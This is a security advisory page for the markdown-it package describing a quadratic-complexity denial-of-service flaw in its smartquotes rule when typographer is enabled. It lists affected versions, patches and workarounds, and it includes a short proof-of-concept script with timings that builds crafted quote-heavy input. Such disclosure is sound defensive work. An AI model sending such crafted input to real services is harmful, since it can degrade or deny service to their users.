Packages / markdown-it / Security
markdown-it: Quadratic complexity in smartquotes with unmatched closing quotes
Affected releases · markdown-it
- 15.x15.0.0 – 15.0.1Fixed in 15.0.2
- 14.x14.0.0 – 14.3.1Fixed in 14.3.2
- 13.x and older2.0.0 – 13.0.2No fix, no longer updated
On 15.x, the newest line:
npm install markdown-it@15.0.2Every release on a timeline
Affected
15.0.0 – 15.0.1
2 releases
Fixed
15.0.2 – 15.0.3
2 releases, latest
Affected
14.0.0 – 14.3.1
6 releases
Fixed
14.3.2 – 14.3.3
2 releases
Affected
13.0.0 – 13.0.2
3 releases
Affected
12.0.0 – 12.3.2
12 releases
Affected
11.0.0 – 11.0.1
2 releases
Affected
10.0.0
1 release
Affected
9.0.0 – 9.1.0
3 releases
Affected
8.0.0 – 8.4.2
12 releases
Affected
7.0.0 – 7.0.1
2 releases
Affected
6.0.0 – 6.1.1
8 releases
Affected
5.0.0 – 5.1.0
5 releases
Affected
4.0.0 – 4.4.0
13 releases
Affected
3.0.0 – 3.1.0
9 releases
Affected
2.0.0 – 2.2.1
7 releases
What happens
Impact
When typographer: true is enabled, specially crafted Markdown can cause quadratic processing time in the smartquotes rule, potentially leading to denial of service in applications processing untrusted input.
Many opening double quotes followed by unmatched closing single quotes cause repeated scans of the entire opener stack. The same issue occurs with the quote types reversed.
The default configuration (typographer: false) is not affected, but this option is enabled with high probability.
Reproduction
import MarkdownIt from 'markdown-it'
import { performance } from 'node:perf_hooks'
const md = new MarkdownIt({ typographer: true })
for (const k of [2000, 4000, 8000, 16000, 32000]) {
const input = '"a '.repeat(k) + "b' ".repeat(k)
const start = performance.now()
md.render(input)
console.log(input.length, (performance.now() - start).toFixed(1), 'ms')
}Result:
| input size | time |
|---|---|
| 12000 | 18ms |
| 24000 | 47ms |
| 48000 | 115ms |
| 96000 | 428ms |
| 192000 | 1586ms |
Patches
Fixed in 15.0.2 and 14.3.2.
Workarounds
Disable typography with typographer: false, or disable only the smartquotes rule:
md.disable('smartquotes')A whole project to check? Paste its package.json in the dependency check: every deprecated, outdated or vulnerable dependency, with what to upgrade to. Free, no account.